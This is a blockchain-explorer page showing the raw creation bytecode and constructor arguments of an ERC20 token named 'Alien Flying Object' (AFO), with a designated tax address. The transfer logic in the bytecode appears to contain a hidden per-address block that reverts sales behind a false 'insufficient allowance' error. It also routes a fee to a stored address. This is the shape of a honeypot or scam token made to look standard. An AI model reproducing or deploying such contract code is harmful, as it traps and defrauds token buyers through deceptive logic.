52601b60248201527f4945524332303a207472616e7366657246726f6d204661696c6564000000000060448201526064015b60405180910390fd5b6104af848484610820565b61050184336104fc85604051806060016040528060298152602001610dce602991396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b37565b6106f9565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105419185906104fc90866106e6565b50600192915050565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161049b565b6105ae6000610b63565b565b60606006805461029090610cd1565b600061054133846104fc85604051806060016040528060268152602001610d81602691393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610b37565b6000610541338484610820565b6000546001600160a01b031633146106755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161049b565b6001600160a01b0381166106da5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161049b565b6106e381610b63565b50565b60006106f28284610d6d565b9392505050565b6001600160a01b03831661075d5760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049b565b6001600160a01b0382166107bf5760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108855760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161049b565b6001600160a01b0382166108e75760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161049b565b813b1515801561090557506004546001600160a01b03848116911614155b1561099a576001600160a01b038316600090815260096020526040902054156109705760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161049b565b600a5461097e906065610d34565b600a5461098c906064610d34565b6109969190610d21565b600a555b6004546000906001600160a01b038581169116148015906109c957506004546001600160a01b03848116911614155b80156109e357506000546001600160a01b03858116911614155b80156109fd57506000546001600160a01b03848116911614155b15610a1f57606460035483610a129190610d34565b610a1c9190610d4b565b90505b610a5c82604051806060016040528060278152602001610da7602791396001600160a01b0387166000908152600160205260409020549190610b37565b6001600160a01b038086166000908152600160205260408082209390935560045490911681522054610a8e90826106e6565b6004546001600160a01b0316600090815260016020526040902055610ad5610ab68284610d21565b6001600160a01b038516600090815260016020526040902054906106e6565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b299086815260200190565b60405180910390a350505050565b60008184841115610b5b5760405162461bcd60e51b815260040161049b9190610bb3565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610be057858101830151858201604001528201610bc4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c1857600080fd5b919050565b60008060408385031215610c3057600080fd5b610c3983610c01565b946020939093013593505050565b600080600060608486031215610c5c57600080fd5b610c6584610c01565b9250610c7360208501610c01565b9150604084013590509250925092565b600060208284031215610c9557600080fd5b6106f282610c01565b60008060408385031215610cb157600080fd5b610cba83610c01565b9150610cc860208401610c01565b90509250929050565b600181811c90821680610ce557607f821691505b602082108103610d0557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561042257610422610d0b565b808202811582820484141761042257610422610d0b565b600082610d6857634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561042257610422610d0b56fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122094866124bb0cb45e2538cdbbe83e3529abdd52d52ab180708cc5449461cc402664736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000075ee037f2966ef517b6eae31a547dfd9816c27a0000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000013416c69656e20466c79696e67204f626a65637400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000341464f0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Alien Flying Object
Arg [1] : symbol_ (string): AFO
Arg [2] : decimals_ (uint8): 18
Arg [3] : _taxAddress (address): 0x075EE037F2966ef517B6Eae31A547DFd9816c27A
Arg [4] : totalSupply_ (uint256): 1000000000000000000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000075ee037f2966ef517b6eae31a547dfd9816c27a
Arg [4] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000013
Arg [6] : 416c69656e20466c79696e67204f626a65637400000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [8] : 41464f0000000000000000000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.